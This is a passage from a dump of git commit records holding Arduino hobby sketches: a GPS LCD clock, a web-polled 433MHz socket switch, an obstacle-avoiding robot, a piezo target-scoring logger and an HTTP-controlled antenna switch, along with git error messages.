TOGGLETIME_INTERVAL)\n prevDateTime = TOGGLETIME_INTERVAL;\n dateTimeToggle = true; \/\/ Default first to display date\n } \/\/ if ((digitalRead(ALTITUDE_DATE_TIME_SW)))\n else {\n \/\/ Toggle date\/time every TOGGLETIME_INTERVAL seconds\n if (now - prevDateTime > TOGGLETIME_INTERVAL) {\n prevDateTime = now;\n if (dateTimeToggle) {\n \/\/ Display date\n dateTimeToggle = false;\n lcd.print(\"Date: \");\n uint8_t hour = GPSData.hour;\n uint8_t day = GPSData.day;\n uint8_t month = GPSData.month;\n uint16_t year = GPSData.year;\n#ifdef CONVERT_TO_LOCAL\n \/\/ Convert UTC date to local date\n bool DST = convertToLocal (&hour, &year, &month,\n &day, GPSData.lon, true); \/\/ true means date conversion\n#endif \/\/ #ifdef CONVERT_TO_LOCAL\n if (month < 10) lcd.print(\"0\");\n lcd.print(month);\n lcd.print(\"\/\");\n if (day < 10) lcd.print(\"0\");\n lcd.print(day);\n lcd.print(\"\/\");\n lcd.print(year);\n printDay (dayOfWeek (year, month, day));\n } \/\/ if (dateTimeToggle)\n else {\n \/\/ Display time\n dateTimeToggle = true;\n lcd.print(\"Time: \");\n uint8_t hour = GPSData.hour;\n uint8_t day = GPSData.day;\n uint8_t month = GPSData.month;\n uint16_t year = GPSData.year;\n#ifdef CONVERT_TO_LOCAL\n \/\/ Convert UTC time to local time (no need to convert the date)\n bool DST = convertToLocal (&hour, &year, &month,\n &day, GPSData.lon, false); \/\/ false means no date conversion\n#else \/\/ #ifdef CONVERT_TO_LOCAL\n#ifdef DISPLAY_12_HOUR\n if (hour == 0) { \/\/ 12 hour clocks don't display 0\n hour = 12;\n }\n#endif \/\/ #ifdef DISPLAY_12_HOUR\n#endif \/\/ #ifdef CONVERT_TO_LOCAL\n#ifdef DISPLAY_12_HOUR\n char AMPM[] = \"am\";\n if (hour >= 12) { \/\/ Convert to 12 hour format\n if (hour > 12) hour -= 12;\n strcpy (AMPM, \"pm\");\n }\n#endif\n if (hour < 10) lcd.print(\"0\");\n lcd.print(hour);\n lcd.print(\":\");\n if (GPSData.minute < 10) lcd.print(\"0\");\n lcd.print(GPSData.minute);\n lcd.print(\":\");\n if (GPSData.second < 10) lcd.print(\"0\");\n lcd.print(GPSData.second);\n#ifdef DISPLAY_12_HOUR\n lcd.print(AMPM);\n#endif \/\/ #ifdef DISPLAY_12_HOUR\n#ifdef CONVERT_TO_LOCAL\n#ifdef DISPLAY_12_HOUR\n (DST) ? lcd.print(\" DST\") : lcd.print(\" ST\");\n#else \/\/ #ifdef DISPLAY_12_HOUR\n (DST) ? lcd.print(\" DST\") : lcd.print(\" ST\");\n#endif \/\/ #ifdef DISPLAY_12_HOUR\n#endif \/\/ #ifndef CONVERT_TO_LOCAL\n#ifndef CONVERT_TO_LOCAL\n#ifdef DISPLAY_12_HOUR\n lcd.print(\" UTC\");\n#else \/\/ #ifdef DISPLAY_12_HOUR\n lcd.print(\" UTC\");\n#endif \/\/ #ifdef DISPLAY_12_HOUR\n#endif \/\/ #ifndef CONVERT_TO_LOCAL\n } \/\/ if (dateTimeToggle)\n } \/\/ if (now - prevDateTime > TOGGLETIME_INTERVAL)\n } \/\/ if ((digitalRead(ALTITUDE_DATE_TIME_SW)))\n#endif \/\/------------------------------------------------------------\n } \/\/ if (dataValid)\n else {\n \/\/ GPS data is not valid, so it must be initializing\n#ifdef _16x2 \/\/------------------------------------------------------\n \/\/ Display initialization screen once every INITIALIZATION_INTERVAL\n if (now - prevInitializationTime > INITIALIZATION_INTERVAL) {\n prevInitializationTime = now;\n lcd.setCursor (6, 0); \/\/ Go to 1st line\n lcd.print(\"GPS\");\n lcd.setCursor (11, 0);\n lcd.print(\"v\");\n lcd.print(VERSION);\n lcd.setCursor (2, 1); \/\/ Go to 2nd line\n lcd.print(\"Initializing\");\n lcd.setCursor (15, 1);\n if (++initializingCounter > 9) initializingCounter = 1; \/\/ Limit 1 - 9\n lcd.print(initializingCounter);\n leftInitialization = false;\n }\n#else \/\/ 20x4 -------------------------------------------------------\n \/\/ Display initialization screen once every INITIALIZATION_INTERVAL\n if (now - prevInitializationTime > INITIALIZATION_INTERVAL) {\n prevInitializationTime = now;\n lcd.setCursor (8, 0); \/\/ Go to 1st line\n lcd.print(\"GPS\");\n lcd.setCursor (14, 0);\n lcd.print(\"v\");\n lcd.print(VERSION);\n lcd.setCursor (4, 1); \/\/ Go to 2nd line\n lcd.print(\"Initializing\");\n lcd.setCursor (6, 2); \/\/ Go to 3rd line\n lcd.print(\"Data Not\");\n lcd.setCursor (7, 3); \/\/ Go to 4th line\n lcd.print(\"Valid\");\n lcd.setCursor (19, 3);\n if (++initializingCounter > 9) initializingCounter = 1; \/\/ Limit 1 - 9\n lcd.print(initializingCounter);\n leftInitialization = false;\n }\n#endif \/\/------------------------------------------------------------\n } \/\/ GPS data is not valid\n#ifdef DEBUG\n \/\/ Display debug info to the serial monitor (if DEBUG is enabled)\n \/\/ Display debug data once every DEBUG_INTERVAL\n if (now - prevDebugTime > DEBUG_INTERVAL) {\n prevDebugTime = now;\n displayDebugData();\n }\n#endif \/\/ #ifdef DEBUG\n} \/\/ loop\n\n#ifndef _16x2\n\/* Helper functions start here\n\n Ripped off from Electrical Engineering Stack Exchange\n http:\/\/electronics.stackexchange.com\/questions\/66285\/how-to-calculate-day-of-the-week-for-rtc\n ------------------------------------------------------------\n Returns the number of days to the start of the specified year, taking leap\n years into account, but not the shift from the Julian calendar to the\n Gregorian calendar. Instead, it is as though the Gregorian calendar is\n extrapolated back in time to a hypothetical \"year zero\".\n*\/\nuint16_t leap (uint16_t year)\n{\n return year * 365 + (year \/ 4) - (year \/ 100) + (year \/ 400);\n}\n\/* Returns a number representing the number of days since March 1 in the\n hypothetical year 0, not counting the change from the Julian calendar\n to the Gregorian calendar that occurred in the 16th century. This\n algorithm is loosely based on a function known as \"Zeller's Congruence\".\n This number MOD 7 gives the day of week, where 0 = Monday and 6 = Sunday.\n*\/\nuint16_t zeller (uint16_t year, uint8_t month, uint8_t day)\n{\n year += ((month + 9) \/ 12) - 1;\n month = (month + 9) % 12;\n return leap (year) + month * 30 + ((6 * month + 5) \/ 10) + day + 1;\n}\n\n\/\/ Returns the day of week for a given date.\nuint8_t dayOfWeek (uint16_t year, uint8_t month, uint8_t day)\n{\n return (zeller (year, month, day) % 7) + 1;\n}\n\/\/----------------------------------------------------------\n\n\/\/ Print the day of the week on the LCD\nvoid printDay(uint8_t day)\n{\n if (day == 7) day = 0;\n switch (day)\n {\n case 0: lcd.print(\" Mon\"); break;\n case 1: lcd.print(\" Tue\"); break;\n case 2: lcd.print(\" Wed\"); break;\n case 3: lcd.print(\" Thu\"); break;\n case 4: lcd.print(\" Fri\"); break;\n case 5: lcd.print(\" Sat\"); break;\n case 6: lcd.print(\" Sun\"); break;\n default: lcd.print(\" Err\");\n }\n}\n\n\/\/ Compute the cardinal points of the compass\nconst char* cardinal(double course)\n{\n#ifdef _16CARDINAL\n const char* directions[] = {\"N \", \"NNE\", \"NE \", \"ENE\", \"E \", \"ESE\", \"SE \", \"SSE\",\n \"S \", \"SSW\", \"SW \", \"WSW\", \"W \", \"WNW\", \"NW \", \"NNW\"\n };\n#else\n const char* directions[] = {\"N \", \"N \", \"NE \", \"NE \", \"E \", \"E \", \"SE \", \"SE \",\n \"S \", \"S \", \"SW \", \"SW \", \"W \", \"W \", \"NW \", \"NW \"\n };\n#endif \/\/ #ifdef _16CARDINAL\n uint8_t direction = (uint8_t)((course + 11.25d) \/ 22.5d);\n return directions[direction % 16];\n}\n\n\/* Ripped off from Stackoverflow\n http:\/\/stackoverflow.com\/questions\/5590429\/calculating-daylight-saving-time-from-only-date\n\n Check to see if it's Daylight Savings Time (DST)\n*\/\nbool IsDST(uint8_t day, uint8_t month , uint8_t DOW)\n{\n \/\/ Make Day of Week (DOW) match with what Stackoverflow suggests\n \/\/ for DOW (Sunday = 0 to Saturday = 6)\n switch (DOW)\n {\n case 6: DOW = 0; break; \/\/ Sun\n case 7: DOW = 1; break; \/\/ Mon\n case 1: DOW = 2; break; \/\/ Tue\n case 2: DOW = 3; break; \/\/ Wed\n case 3: DOW = 4; break; \/\/ Thu\n case 4: DOW = 5; break; \/\/ Fri\n case 5: DOW = 6; break; \/\/ Sat\n default: break;\n }\n \/\/ January, February, and December are out\n if (month < 3 || month > 11) {\n return false;\n }\n \/\/ April to October are in\n if (month > 3 && month < 11) {\n return true;\n }\n int8_t previousSunday = (int8_t)(day - DOW);\n \/\/ In march, we are DST if our previous Sunday was on or after the 8th\n if (month == 3) {\n return previousSunday >= 8;\n }\n \/\/ In November we must be before the first Sunday to be DST\n \/\/ That means the previous Sunday must be before the 1st\n return previousSunday <= 0;\n}\n\n#ifdef CONVERT_TO_LOCAL\n\/* Convert UTC time and date to local time and date\n Difference between UTC time\/date (at Greenwich) and local time\/date is 15 minutes\n per 1 degree of longitude. See the following:\n http:\/\/www.edaboard.com\/thread101516.html\n*\/\nbool convertToLocal (uint8_t* hour, uint16_t* year, uint8_t* month,\n uint8_t* day, const double lon, bool convertDate) {\n\n uint8_t DaysAMonth [] = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};\n\n \/\/ Get Day of Week (DOW)\n uint8_t DOW = dayOfWeek(*year, *month, *day);\n \/\/ Get Daylight Saving Time (DST) or Standard Time (ST)\n bool DST = IsDST(*day, *month, DOW);\n \/\/ Compute local time (hours)\n int8_t UTCOffset = (int8_t)(lon \/ 15.0d); \/\/ UTC offset\n if (UTCOffset < 0) {\n \/\/ West of Greenwich, subtract\n UTCOffset = abs(UTCOffset); \/\/ Make offset positive\n if (DST) --UTCOffset; \/\/ Compensate for DST\n if (*hour <= UTCOffset) *hour += 24;\n *hour = *hour - UTCOffset; \/\/ Subtract offset\n }\n else {\n \/\/ East of Greenwich, add\n if (DST) ++UTCOffset; \/\/ Compensate for DST\n if (*hour <= UTCOffset) *hour += 24;\n *hour = *hour + UTCOffset; \/\/ Add offset\n }\n \/\/ Convert date if convertDate flag is set\n \/\/ Portions of the following code (with some modifications) ripped off from Instructables\n \/\/ http:\/\/www.instructables.com\/id\/GPS-time-UTC-to-local-time-conversion-using-Arduin\/?ALLSTEPS\n if (convertDate) {\n if ((24 - *hour) <= UTCOffset) { \/\/ A new UTC day started\n if (*year % 4 == 0) DaysAMonth[1] = 29; \/\/leap year check (the simple method)\n if (*hour < 24) {\n *day -= 1;\n if (*day < 1) {\n if (*month == 1) {\n *month = 12;\n *year -= 1;\n } \/\/ if (*month == 1)\n else {\n *month -= 1;\n }\n *day = DaysAMonth[*month - 1];\n } \/\/ if (*day < 1)\n } \/\/ if (*hour < 24)\n else if (*hour >= 24) {\n day += 1;\n if (*day > DaysAMonth[*month - 1]) {\n *day = 1;\n *month += 1;\n if (*month > 12) *year += 1;\n } \/\/ if (*day > DaysAMonth[*month - 1])\n } \/\/ if (*hour >= 24)\n } \/\/ if ((24 - *hour) <= UTCOffset)\n } \/\/ if (convertDate)\n return (DST);\n}\n#endif \/\/ #ifdef CONVERT_TO_LOCAL\n#endif \/\/ #ifndef _16x2\n\n#ifdef DEBUG\n\/\/ Displays debug data to the serial monitor\nvoid displayDebugData() {\n Serial.print(\"Version: \");\n Serial.println(VERSION);\n Serial.print(\"Satellite Count: \");\n Serial.println(GPSData.satellites);\n Serial.print(\"Latitude: \");\n Serial.println(GPSData.lat, 6);\n Serial.print(\"Longitude: \");\n Serial.println(GPSData.lon, 6);\n Serial.print(\"Speed MPH: \");\n Serial.println(GPSData.speed);\n Serial.print(\"Altitude Feet: \");\n Serial.println(GPSData.altitude);\n#ifdef _16x2\n Serial.print(\"Alt\/SPD: \");\n Serial.println((digitalRead(SPEED_ALTITUDE_SW)) ? \"Speed\" : \"Altitude\");\n#else\n Serial.print(\"Altitude\/Date: \");\n Serial.println(!(digitalRead(ALTITUDE_DATE_TIME_SW)) ? \"Date\/Time\" : \"Altitude\");\n#endif\n Serial.println((digitalRead(BACKLIGHT_SW)) ? \"Backlight On\" : \"Backlight Off\");\n Serial.print(\"Data valid: \");\n Serial.println(dataValid);\n uint8_t DOW = dayOfWeek(GPSData.year, GPSData.month, GPSData.day);\n Serial.print(\"DST = \");\n Serial.println(IsDST(GPSData.day, GPSData.month, DOW));\n Serial.println(\"\");\n}\n#endif\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GPSLCD.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a82bd1f06458bbeee58f8e7e13d6b4bce2444c6c","subject":"Create Switch-433-poll-url.ino","message":"Create Switch-433-poll-url.ino","repos":"KitWallace\/CitizenSense","old_file":"ESP8266-code\/Switch-433-poll-url.ino","new_file":"ESP8266-code\/Switch-433-poll-url.ino","new_contents":"\/*\n ESP8266 script to control a 433Mhz power socket from a web-based switch\n\n Chris Wallace\n March 2016\n \n*\/\n#include <ESP8266WiFi.h>\n#include <RCSwitch.h>\n\n#define ON 1\n#define OFF 0\n#define UNKNOWN -1\n\/\/ WiFi connection \nconst char* ssid = \"ssid\";\nconst char* password = \"wifipw\";\n\n\/\/ Data base connection\nconst char* host = \"kitwallace.co.uk\";\nconst char* data_streamId = \"streamid\";\nconst char* data_privateKey = \"streampk\";\n\n\/\/ Pins\nint TRANSMIT = 5;\n\n\nRCSwitch mySwitch = RCSwitch();\n\/\/ remote socket setting\nint sw_group = 2;\nint sw_switch = 1;\n\nchar* field = \"sw\";\nString url = constructURL(field);\n\n\/\/ switch status is unknown until we initialise\n\nString lastTimestamp = \"\"; \nint sw_state = UNKNOWN; \n\nint poll_seconds = 20;\n\nvoid httpGetLines(String url, String* lines) {\n\/\/ call the url and fill the array lines with terminated lines \n\n WiFiClient client;\n int httpPort = 80;\n while (true) {\n if (client.connect(host, httpPort)) break;\n Serial.println(\"connection failed\");\n delay(100);\n }\n \n Serial.println(\"connected \");\n Serial.print(\"requesting URL: \");\n Serial.println(url);\n\/\/ This will send the request to the server\n String httprequest = String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\";\n\/\/ Serial.println(httprequest);\n client.print(httprequest);\n delay(100);\n\n \/\/ skip headers - terminated by blank line \n \/\/ should really check response code\n while (client.connected()) {\n String line = client.readStringUntil('\\n');\n if (line == \"\\r\") {\n Serial.println(\"headers received\");\n break;\n }\n }\n \/\/ read n lines - first will be a character count \n Serial.println(\"Reading data\");\n int i = 0;\n while (i < sizeof(lines)-1 && client.connected()) {\n String line = client.readStringUntil('\\n');\n lines[i] = line;\n Serial.println(line);\n i++;\n }\n}\n\nString constructURL(char* field) {\n String url = \"\/rt\/home.xq?_action=value&_format=text&_id=\";\n url += data_streamId;\n url += String(\"&_pk=\")+ data_privateKey;\n url += String(\"&_field=\") + field;\n return url;\n}\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"Switch controller started\");\n mySwitch.enableTransmit(TRANSMIT); \/\/ send on pwm pin\n}\n\nvoid loop() {\n Serial.println(String(\"Current State \") + sw_state);\n\n\/\/ poll the URL to get the timestamp and value\n String data[3];\n httpGetLines(url,data);\n String timestamp = data[1];\n String request = data[2];\n\n int sw_request = request.toInt(); \/\/ this defaults to 0 if not an integer\n Serial.println(String(\"requested \") + sw_request);\n \n if (sw_state == UNKNOWN || (timestamp > lastTimestamp)) { \/\/ there has been a new command\n if (sw_request == ON) \n mySwitch.switchOn(sw_group,sw_switch); \n else if (sw_request == OFF)\n mySwitch.switchOff(sw_group,sw_switch);\n else {\n Serial.println(String(\"unknown request \") + sw_request);\n return;\n }\n sw_state = sw_request; \n lastTimestamp = timestamp;\n Serial.println(String(\"switched to \") + sw_state );\n }\n \n delay(poll_seconds*1000);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266-code\/Switch-433-poll-url.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"67165d14346fb8d69b17e7336ae07e0258b33518","subject":"Commit of the green code","message":"Commit of the green code\n","repos":"tiggi\/heirsofdoom,neicnordic\/heirsofdoom,neicnordic\/heirsofdoom","old_file":"green\/neic-motor.ino","new_file":"green\/neic-motor.ino","new_contents":"#include <SoftwareSerial.h>\n\n#include <Wire.h>\n\n#include <Makeblock.h>\n\n\n\n\n\nMeDCMotor motorR(PORT_1);\nMeDCMotor motorL(PORT_2);\n\nuint8_t motorSpeed = 100;\nMeUltrasonicSensor ultraSensor(PORT_3); \n\n\n\n\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n \/\/delay(1000);\n motorL.run(0); \/\/ value: between -255 and 255.\n motorR.run(0); \/\/ value: between -255 and 255\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n \/\/forward();\n\n \n \/\/delay(1000);\n \n while(ultrasound()) forward();\n delay(200);\n turnright();\n delay(200);\n \n \n}\n\nint ultrasound() { \n float len;\n len=ultraSensor.distanceCm();\n if (len < 3.0) turnleft();\n if (len > 20.0) return(true);\n return(false);\n}\n\nvoid turnleft() {\n motorR.run(150);\n motorL.run(0);\n delay(443);\n motorL.run(0);\n}\nvoid turnright() {\n motorR.run(-150);\n motorL.run(0);\n delay(443);\n motorR.run(0);\n}\n\nvoid forward() {\n motorL.run(-100);\n motorR.run(-95);\n delay(250);\n motorL.run(0);\n motorR.run(0);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'green\/neic-motor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"466e36431504f0520b1ee6465af40e059764784f","subject":"target module code","message":"target module code\n","repos":"DefProc\/mfuklc,DefProc\/mfuklc,DefProc\/mfuklc","old_file":"range\/arduino\/target_module\/target_module.ino","new_file":"range\/arduino\/target_module\/target_module.ino","new_contents":"\/* Record hits on the analog pins from knock sensors, and store the results for retrieval\n\n*\/\n\n#include<TimerOne.h>\n#include <Wire.h>\n#include \"RTClib.h\"\n#include <SPI.h>\n#include <SD.h>\n\nRTC_DS1307 RTC;\nFile datafile;\n\n#define BAUD 9600\n#define RESEND_TIMER 250\n#define DEBOUNCE_LIMIT 20\n#define SCORE_THRESHOLD 102\n#define SPI_CS 53\n#define PINS 16\n#define BUFFER_LINES 300\n#define RFID_DIGITS 9\n#define FOLDER_BUFFER 50\n\n\/\/ timer frequency for the ADC\nconst unsigned char PS_16 = (1 << ADPS2);\nconst unsigned char PS_128 = (1 << ADPS2) | (1 << ADPS1) | (1 << ADPS0);\n\nclass HitRecord {\n public:\n uint32_t timestamp;\n uint8_t target;\n uint16_t bitfield;\n \n void setTarget(int aTarget) { bitfield = 1 << aTarget; };\n byte getTarget();\n};\n\nbyte HitRecord::getTarget()\n{\n byte ret = -1;\n \/\/ TODO: loop through to find the right bit that's set and store it in ret\n \/\/find the number of left shifts required to set variable == 1\n for (byte shift=0; shift<PINS; shift++) {\n if (bitfield >> shift == 1) {\n ret = shift;\n }\n }\n return ret;\n}\n\nlong scoremap[PINS] = { 10, 20, \n 50, 100, 1234, \n 5120, \n -100, 999, \n 1024, 512, 256, 128, \n 200, 865, \n 6587, \n 10 \n };\n\nvolatile unsigned long last_hit[PINS] = {0};\nHitRecord hit_record[BUFFER_LINES];\nvolatile int write_marker = -1;\nint read_marker = -1;\nint calc_marker = -1;\nboolean is_running = false;\nunsigned long start_time = 0UL;\nboolean report_score = false;\nboolean file_open = false;\nunsigned long current_score = 0UL;\nchar player_rfid[RFID_DIGITS] = \"12345678\"; \/\/ first 8 chars for folder name\nchar filepath[FOLDER_BUFFER];\n\n\nvoid setup() {\n \/\/ set up the ADC sampling speed\n ADCSRA &= ~PS_128; \/\/ remove bits set by Arduino library\n ADCSRA |= PS_16; \/\/ set the prescaler to 16 (1MHz)\n\n \/\/ open the USB serial port for reporting\n Serial.begin(BAUD);\n \n Serial.println(F(\"Target Module\"));\n Serial.println(F(\"=============\"));\n \n \/\/ 1ms timer interrupt to check for hits\n Timer1.initialize(1000); \n \n pinMode(53, OUTPUT);\n if (!SD.begin(SPI_CS)) {\n Serial.println(\"SD card failed, or not present\");\n \/\/ don't do anything more:\n return;\n }\n Serial.println(\"SD card initialized.\");\n \n Wire.begin();\n RTC.begin();\n if (! RTC.isrunning()) {\n Serial.println(\"RTC is NOT running!\");\n \/\/ following line sets the RTC to the date & time this sketch was compiled\n RTC.adjust(DateTime(__DATE__, __TIME__));\n }\n}\n\nvoid loop() {\n while (Serial.available() > 0) {\n char character = Serial.read();\n \n if (character == 'H' || character == 'h') {\n Serial.println(F(\"Accepted input\"));\n Serial.println(F(\" H - display this message\"));\n Serial.println(F(\" R<nnnn>; - set the rfid UID, 1-15 digits, ';' terminator\"));\n Serial.println(F(\" **** call before START ****\"));\n Serial.println(F(\" S - start scoring\"));\n Serial.println(F(\" X - stop scoring (finish this round)\"));\n Serial.println(F(\" D - display (report) the current score\"));\n }\n \n \/\/ parse any incoming commands\n if (character == 'R' || character == 'r') {\n int digits = Serial.readBytesUntil(';', player_rfid, RFID_DIGITS-1);\n player_rfid[digits] = '\\0';\n \/\/Serial.print(F(\"RFID NUMBER: \"));\n Serial.println(player_rfid);\n }\n \n if (character == 'S' || character == 's') {\n makeFileName();\n datafile = SD.open(filepath, FILE_WRITE);\n Serial.println(datafile);\n file_open = true;\n datafile.println(player_rfid);\n \/\/reset all the pointers and score variables\n current_score = 0;\n write_marker = -1;\n read_marker = -1;\n calc_marker = -1;\n start_time = millis();\n for (int i=0; i<PINS; i++) {\n last_hit[i] = start_time;\n }\n \/\/start running the hit monitoring\n is_running = true;\n Timer1.attachInterrupt(piezoCheck); \n Serial.println(F(\"RUN\"));\n }\n \n if (character == 'X' || character == 'x') {\n Timer1.detachInterrupt();\n is_running = false;\n \/\/ report_score = true;\n }\n\n if (character == 'D' || character == 'd') {\n report_score = true;\n }\n }\n \n \/\/write the score lines to the SD.card if not up to date\n if ((write_marker - read_marker) % BUFFER_LINES > 0) {\n read_marker++;\n read_marker = read_marker % BUFFER_LINES;\n datafile.print(hit_record[read_marker].timestamp);\n datafile.print(',');\n datafile.print(hit_record[read_marker].getTarget());\n datafile.println();\n } \n \n \/\/close the file if we're up to date, and finished running\n if ((write_marker - read_marker) % BUFFER_LINES == 0 && is_running == false && file_open == true) {\n datafile.println(current_score);\n datafile.close();\n file_open = false;\n Serial.println(F(\"STOP\"));\n }\n \n \/\/process the score to bring it up to date with the hits\n if ((write_marker - calc_marker) % BUFFER_LINES > 0) {\n \/\/score the hits\n calc_marker++;\n calc_marker = calc_marker % BUFFER_LINES;\n current_score += scoremap[ hit_record[calc_marker].getTarget() ];\n }\n \n \/\/report the score if requested\n if (report_score == true) {\n if (is_running == true) {\n \/\/ reply with the most recent (quicker is better)\n Serial.println(current_score);\n report_score = false;\n } else if ((write_marker - calc_marker) % BUFFER_LINES <= 0) {\n \/\/ reply once all the score lines have been processed\n Serial.println(current_score);\n report_score = false;\n }\n }\n \n}\n\nvoid piezoCheck() {\n \/\/ using the Mega analog pins for 16 inputs\n for (byte i=0; i<PINS; i++) {\n if (analogRead(i+A0) >= SCORE_THRESHOLD && millis() - last_hit[i] >= DEBOUNCE_LIMIT) {\n write_marker++;\n write_marker = write_marker % BUFFER_LINES;\n hit_record[write_marker].setTarget(i);\n last_hit[i] = millis();\n hit_record[write_marker].timestamp = last_hit[i] - start_time;\n }\n }\n}\n\nvoid getFolderPath() {\n DateTime now = RTC.now();\n snprintf(filepath, FOLDER_BUFFER, \"%04d\/%02d\/%02d\/%s\", now.year(), now.month(), now.day(), player_rfid);\n}\n\nvoid makeFileName() {\n getFolderPath();\n if(!SD.exists(filepath)) {\n \/\/make the folder\n SD.mkdir(filepath);\n }\n char filename[15];\n DateTime now = RTC.now();\n snprintf(filename, 14, \"\/%02d-%02d-%02d.txt\", now.hour(), now.minute(), now.second());\n strncat(filepath, filename, FOLDER_BUFFER);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'range\/arduino\/target_module\/target_module.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"47932524831f691e0e087f71a28d82f0e1076167","subject":"changed angle calc","message":"changed angle calc\n","repos":"sassystacks\/DASS","old_file":"Sensors\/Final_Lidar_Pixy_code_RichardEdit\/Final_Lidar_Pixy_code_RichardEdit.ino","new_file":"Sensors\/Final_Lidar_Pixy_code_RichardEdit\/Final_Lidar_Pixy_code_RichardEdit.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/sassystacks\/DASS.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1e4512a0af505006167aef2799a5caaf56e2864c","subject":"Arduino nano code","message":"Arduino nano code","repos":"OH1KK\/KiwiSDR-antenna-switch-extension,OH1KK\/KiwiSDR-antenna-switch-extension,OH1KK\/KiwiSDR-antenna-switch-extension","old_file":"docs\/arduino-nano-netshield\/ant_switch_arduino_netshield.ino","new_file":"docs\/arduino-nano-netshield\/ant_switch_arduino_netshield.ino","new_contents":"#include <UIPEthernet.h>\n\/*\n * \n * Arduino nano + ENC29J60 ethernet shield antenna switch\n * \n * 8 selecteable antennas in digital outputus 2,3,4,5,6,7,8,9\n * \n * curl http:\/\/172.16.50.19\/?cmd=1 set antenna 1 (only)\n * curl http:\/\/172.16.50.19\/?cmd=+1 add antenna 1\n * curl http:\/\/172.16.50.19\/?cmd=-1 remove antenna 1\n * curl http:\/\/172.16.50.19\/?cmd=t1 toggle antenna 1\n * \n * This is part of KiwiSDR antenna switch extension\n * https:\/\/github.com\/OH1KK\/KiwiSDR-antenna-switch-extension\n * \n *\/\n\n\nEthernetServer server = EthernetServer(80);\nboolean alreadyConnected = false; \/\/ whether or not the client was connected previously\nString commandString;\nString commandStringTmp;\n\nint val;\n\nvoid setup()\n{\n for (int dio = 2; dio < 10; dio++) {\n pinMode(dio, OUTPUT);\n }\n\n Serial.begin(9600);\n\n uint8_t mac[6] = {0x00, 0x02, 0x2d, 0x01, 0x02, 0x03};\n\n \/\/ the dns server ip\n IPAddress dnServer(172, 16, 49, 2);\n \/\/ the router's gateway address:\n IPAddress gateway(172, 16, 50, 1);\n \/\/ the subnet:\n IPAddress subnet(255, 255, 255, 0);\n \/\/the IP address is dependent on your network\n IPAddress ip(172, 16, 50, 19);\n\n Ethernet.begin(mac, ip, dnServer, gateway, subnet);\n\n server.begin();\n}\n\nvoid dio_groundall() {\n for (int tmp=1;tmp<9; tmp++) {\n dio_unset(tmp);\n }\n}\n\nvoid dio_selectonly(int dio) {\n dio_groundall();\n dio_set(dio);\n}\n\nvoid dio_set(int dio) {\n digitalWrite(dio+1, HIGH);\n}\n\nvoid dio_unset(int dio) {\n digitalWrite(dio+1, LOW);\n}\n\nvoid dio_toggle(int dio) {\n int dioReading = digitalRead(dio+1);\n if (dioReading == 1) {\n dio_unset(dio);\n } else {\n dio_set(dio);\n }\n}\n\nvoid loop() {\n \/\/ listen for incoming clients\n EthernetClient client = server.available();\n if (client) {\n \/\/Serial.println(\"new client\");\n String textline=\"\"; \n \/\/ an http request ends with a blank line\n boolean currentLineIsBlank = true;\n while (client.connected()) {\n if (client.available()) {\n char c = client.read();\n \/\/Serial.write(c);\n if (c == '\\n') {\n if (textline.length()>11) {\n if (textline.substring(6, 10) == \"cmd=\") {\n String cmdtxt=textline.substring(10, 12);\n Serial.print(\"Command detected: \");\n Serial.println(cmdtxt);\n if (cmdtxt == \"1 \") dio_selectonly(1);\n if (cmdtxt == \"2 \") dio_selectonly(2);\n if (cmdtxt == \"3 \") dio_selectonly(3);\n if (cmdtxt == \"4 \") dio_selectonly(4);\n if (cmdtxt == \"5 \") dio_selectonly(5);\n if (cmdtxt == \"6 \") dio_selectonly(6);\n if (cmdtxt == \"7 \") dio_selectonly(7);\n if (cmdtxt == \"8 \") dio_selectonly(8);\n if (cmdtxt == \"t1\") dio_toggle(1);\n if (cmdtxt == \"t2\") dio_toggle(2);\n if (cmdtxt == \"t3\") dio_toggle(3);\n if (cmdtxt == \"t4\") dio_toggle(4);\n if (cmdtxt == \"t5\") dio_toggle(5);\n if (cmdtxt == \"t6\") dio_toggle(6);\n if (cmdtxt == \"t7\") dio_toggle(7);\n if (cmdtxt == \"t8\") dio_toggle(8);\n if (cmdtxt == \"+1\") dio_set(1);\n if (cmdtxt == \"+2\") dio_set(2);\n if (cmdtxt == \"+3\") dio_set(3);\n if (cmdtxt == \"+4\") dio_set(4);\n if (cmdtxt == \"+5\") dio_set(5);\n if (cmdtxt == \"+6\") dio_set(6);\n if (cmdtxt == \"+7\") dio_set(7);\n if (cmdtxt == \"+8\") dio_set(8);\n if (cmdtxt == \"-1\") dio_unset(1);\n if (cmdtxt == \"-2\") dio_unset(2);\n if (cmdtxt == \"-3\") dio_unset(3);\n if (cmdtxt == \"-4\") dio_unset(4);\n if (cmdtxt == \"-5\") dio_unset(5);\n if (cmdtxt == \"-6\") dio_unset(6);\n if (cmdtxt == \"-7\") dio_unset(7);\n if (cmdtxt == \"-8\") dio_unset(8);\n if (cmdtxt == \"g \") dio_groundall();\n if (cmdtxt == \"tg\") dio_groundall();\n }\n }\n textline=\"\";\n } else {\n textline+=c;\n }\n \/\/ if you've gotten to the end of the line (received a newline\n \/\/ character) and the line is blank, the http request has ended,\n \/\/ so you can send a reply\n if (c == '\\n' && currentLineIsBlank) {\n \/\/ send a standard http response header\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: text\/plain\");\n client.println(\"Connection: close\"); \/\/ the connection will be closed after completion of the response\n client.println();\n 